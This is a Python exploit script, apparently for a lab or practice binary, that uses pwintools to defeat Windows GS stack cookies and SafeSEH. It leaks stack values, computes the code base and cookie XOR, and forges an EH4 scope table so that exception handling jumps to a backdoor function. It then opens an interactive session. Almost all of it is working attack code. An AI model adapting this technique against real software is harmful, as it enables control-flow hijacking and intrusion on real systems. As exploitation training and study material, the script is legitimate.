from pwintools import *

p = Process("./Release/safeseh_gscookie_exploitation.exe")
#p.spawn_debugger(breakin=False)

stack_data = [u32(c) for c in cut(p.recv(0x80), 4)]

code_base = stack_data[6] - 0x122C
assert(code_base & 0xffff == 0)
assert(code_base == p.libs['safeseh_gscookie_exploitation.exe'])
log.info('code base: 0x{:08x}'.format(code_base))

"""
k32_base = stack_data[28] - (p.symbols['kernel32.dll']['BaseThreadInitThunk']+0x24 - p.libs['kernel32.dll'])
assert(k32_base & 0xffff == 0)
assert(k32_base == p.libs['kernel32.dll'])
log.info('kernel32.dll base: 0x{:08x}'.format(k32_base))
"""

## Create fake Encoded Scope Table @ stack => fake EH4 Scope Table Record
## => Filter Function & Handler/Finally Function control

gs_cookie = stack_data[2]
log.info('GS Cookie: 0x{:08x}'.format(gs_cookie))
log.info('Next SEH Frame: 0x{:08x}'.format(stack_data[5]))
ebp = stack_data[5] - 0x38
esp = ebp - 0x38
log.info('ebp: 0x{:08x}'.format(ebp))
log.info('esp: 0x{:08x}'.format(esp))
cookie_xor = ebp ^ gs_cookie
log.info('Cookie XOR value: 0x{:08x}'.format(cookie_xor))

backdoor_ofs = 0x1040

fake_EST = ebp  # == esp + 0x38

payload  = ''.join(p32(stack_data[i]) for i in range(7))  # leave SEH handler as __except_handler4
payload += p32(fake_EST ^ cookie_xor) + p32(0)  # fake Encoded Scope Table
payload += p32(0xffffffe4) + p32(0) + p32(0xffffffc8) + p32(0)  # EH4 Scope Table
payload += p32(0xfffffffe) + p32(code_base + backdoor_ofs)*2  # EH4 Scope Table Record

p.send(payload)

log.info('Starting interactive mode ...')
p.interactive()